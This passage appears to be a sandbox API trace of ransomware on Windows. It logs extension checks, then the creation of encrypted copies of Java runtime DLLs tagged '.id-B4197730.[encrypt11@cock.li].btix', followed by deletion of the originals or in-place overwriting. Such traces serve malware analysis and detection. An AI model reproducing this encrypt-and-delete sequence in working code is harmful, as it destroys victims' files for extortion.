Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0148.312] lstrlenW (lpString=".zip") returned 4 [0148.312] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.312] lstrlenW (lpString=".rar") returned 4 [0148.312] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.312] lstrlenW (lpString=".bz2") returned 4 [0148.312] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.312] lstrlenW (lpString=".7z") returned 3 [0148.312] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0148.312] lstrlenW (lpString=".dbf") returned 4 [0148.312] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0148.312] lstrlenW (lpString=".1cd") returned 4 [0148.312] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0148.312] lstrlenW (lpString=".jpg") returned 4 [0148.312] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0148.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0148.313] lstrlenW (lpString=".doc") returned 4 [0148.313] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.313] lstrlenW (lpString=".docx") returned 5 [0148.313] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0148.313] lstrlenW (lpString=".pdf") returned 4 [0148.313] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.313] lstrlenW (lpString=".xls") returned 4 [0148.313] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.313] lstrlenW (lpString=".xlsx") returned 5 [0148.313] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0148.313] lstrlenW (lpString=".ppt") returned 4 [0148.313] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0148.313] lstrlenW (lpString=".zip") returned 4 [0148.313] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.313] lstrlenW (lpString=".rar") returned 4 [0148.313] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.313] lstrlenW (lpString=".bz2") returned 4 [0148.313] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.313] lstrlenW (lpString=".7z") returned 3 [0148.313] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0148.313] lstrlenW (lpString=".dbf") returned 4 [0148.313] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0148.313] lstrlenW (lpString=".1cd") returned 4 [0148.313] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0148.313] lstrlenW (lpString=".jpg") returned 4 [0148.313] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.314] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.314] lstrlenW (lpString="javafx_font_t2k.dll") returned 19 [0148.314] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0148.314] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=538176) returned 1 [0148.314] CloseHandle (hObject=0x338) returned 1 [0148.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 0x20 [0148.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.314] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0148.314] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.314] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.314] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0148.315] GetLastError () returned 0x0 [0148.315] ReadFile (in: hFile=0x338, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x83640, lpOverlapped=0x0) returned 1 [0148.659] WriteFile (in: hFile=0x35c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x83650, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x83650, lpOverlapped=0x0) returned 1 [0148.698] ReadFile (in: hFile=0x338, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.698] WriteFile (in: hFile=0x35c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xfa, lpOverlapped=0x0) returned 1 [0148.698] SetEndOfFile (hFile=0x35c) returned 1 [0148.698] CloseHandle (hObject=0x35c) returned 1 [0148.698] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.698] SetEndOfFile (hFile=0x338) returned 1 [0148.704] CloseHandle (hObject=0x338) returned 1 [0148.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.704] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 1 [0148.705] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0148.705] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0148.705] lstrlenW (lpString=".doc") returned 4 [0148.705] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.705] lstrlenW (lpString=".docx") returned 5 [0148.705] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0148.705] lstrlenW (lpString=".pdf") returned 4 [0148.705] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.705] lstrlenW (lpString=".xls") returned 4 [0148.705] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.705] lstrlenW (lpString=".xlsx") returned 5 [0148.705] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0148.705] lstrlenW (lpString=".ppt") returned 4 [0148.705] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.705] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0148.705] lstrlenW (lpString=".zip") returned 4 [0148.705] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.705] lstrlenW (lpString=".rar") returned 4 [0148.705] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.705] lstrlenW (lpString=".bz2") returned 4 [0148.705] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.705] lstrlenW (lpString=".7z") returned 3 [0148.706] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0148.706] lstrlenW (lpString=".dbf") returned 4 [0148.706] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0148.706] lstrlenW (lpString=".1cd") returned 4 [0148.706] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0148.706] lstrlenW (lpString=".jpg") returned 4 [0148.706] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0148.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0148.706] lstrlenW (lpString=".doc") returned 4 [0148.706] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.706] lstrlenW (lpString=".docx") returned 5 [0148.706] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0148.706] lstrlenW (lpString=".pdf") returned 4 [0148.706] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.706] lstrlenW (lpString=".xls") returned 4 [0148.706] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.706] lstrlenW (lpString=".xlsx") returned 5 [0148.706] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0148.706] lstrlenW (lpString=".ppt") returned 4 [0148.706] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0148.706] lstrlenW (lpString=".zip") returned 4 [0148.707] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.707] lstrlenW (lpString=".rar") returned 4 [0148.707] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.707] lstrlenW (lpString=".bz2") returned 4 [0148.707] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.707] lstrlenW (lpString=".7z") returned 3 [0148.707] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.707] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0148.707] lstrlenW (lpString=".dbf") returned 4 [0148.707] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.707] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0148.707] lstrlenW (lpString=".1cd") returned 4 [0148.707] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.707] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0148.707] lstrlenW (lpString=".jpg") returned 4 [0148.707] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.707] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.707] lstrlenW (lpString="jfxwebkit.dll") returned 13 [0148.707] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0148.708] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=41503296) returned 1 [0148.708] CloseHandle (hObject=0x338) returned 1 [0148.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0x20 [0148.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0148.709] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0148.709] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0x0) returned 1 [0148.710] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1 [0148.710] ReadFile (in: hFile=0x338, lpBuffer=0x436a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x436a058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1 [0149.104] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1 [0149.104] ReadFile (in: hFile=0x338, lpBuffer=0x43aa058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x43aa058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1 [0149.116] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.116] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1 [0149.116] ReadFile (in: hFile=0x338, lpBuffer=0x43ea058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x43ea058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1 [0149.143] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.143] WriteFile (in: hFile=0x338, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x379fca8, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fca8*=0xc0106, lpOverlapped=0x0) returned 1 [0149.156] SetEndOfFile (hFile=0x338) returned 1 [0149.156] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x428ddd0 [0149.160] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1 [0149.160] WriteFile (in: hFile=0x338, lpBuffer=0x428ddd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x428ddd0*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1 [0149.160] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1 [0149.160] WriteFile (in: hFile=0x338, lpBuffer=0x428ddd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x428ddd0*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1 [0149.161] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1 [0149.161] WriteFile (in: hFile=0x338, lpBuffer=0x428ddd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x428ddd0*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1 [0149.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.451] CloseHandle (hObject=0x338) returned 1 [0149.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0149.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0149.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0149.710] lstrlenW (lpString=".doc") returned 4 [0149.710] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.710] lstrlenW (lpString=".docx") returned 5 [0149.711] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0149.711] lstrlenW (lpString=".pdf") returned 4 [0149.711] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.711] lstrlenW (lpString=".xls") returned 4 [0149.711] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.711] lstrlenW (lpString=".xlsx") returned 5 [0149.711] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0149.711] lstrlenW (lpString=".ppt") returned 4 [0149.711] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0149.711] lstrlenW (lpString=".zip") returned 4 [0149.711] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.711] lstrlenW (lpString=".rar") returned 4 [0149.711] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.711] lstrlenW (lpString=".bz2") returned 4 [0149.711] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.711] lstrlenW (lpString=".7z") returned 3 [0149.711] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0149.711] lstrlenW (lpString=".dbf") returned 4 [0149.711] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0149.711] lstrlenW (lpString=".1cd") returned 4 [0149.711] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0149.711] lstrlenW (lpString=".jpg") returned 4 [0149.712] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0149.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0149.712] lstrlenW (lpString=".doc") returned 4 [0149.712] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.712] lstrlenW (lpString=".docx") returned 5 [0149.712] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0149.712] lstrlenW (lpString=".pdf") returned 4 [0149.712] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.712] lstrlenW (lpString=".xls") returned 4 [0149.712] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.712] lstrlenW (lpString=".xlsx") returned 5 [0149.712] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0149.712] lstrlenW (lpString=".ppt") returned 4 [0149.712] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0149.712] lstrlenW (lpString=".zip") returned 4 [0149.712] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.712] lstrlenW (lpString=".rar") returned 4 [0149.712] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.712] lstrlenW (lpString=".bz2") returned 4 [0149.712] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.712] lstrlenW (lpString=".7z") returned 3 [0149.712] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.713] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0149.713] lstrlenW (lpString=".dbf") returned 4 [0149.713] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.713] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0149.713] lstrlenW (lpString=".1cd") returned 4 [0149.713] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.713] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0149.713] lstrlenW (lpString=".jpg") returned 4 [0149.713] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.713] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0149.713] lstrlenW (lpString="lcms.dll") returned 8 [0149.713] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0149.714] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=233536) returned 1 [0149.714] CloseHandle (hObject=0x368) returned 1 [0149.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20 [0149.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.714] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0149.714] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.714] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.714] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0149.715] GetLastError () returned 0x0 [0149.715] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x39040, lpOverlapped=0x0) returned 1 [0149.768] WriteFile (in: hFile=0x394, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x39050, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x39050, lpOverlapped=0x0) returned 1 [0149.771] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.772] WriteFile (in: hFile=0x394, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.772] SetEndOfFile (hFile=0x394) returned 1 [0149.772] CloseHandle (hObject=0x394) returned 1 [0149.772] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.772] SetEndOfFile (hFile=0x368) returned 1 [0149.774] CloseHandle (hObject=0x368) returned 1 [0149.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0149.774] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 1 [0149.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0149.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0149.774] lstrlenW (lpString=".doc") returned 4 [0149.774] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.774] lstrlenW (lpString=".docx") returned 5 [0149.774] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0149.774] lstrlenW (lpString=".pdf") returned 4 [0149.774] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.774] lstrlenW (lpString=".xls") returned 4 [0149.774] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.774] lstrlenW (lpString=".xlsx") returned 5 [0149.774] lstrcmpiW 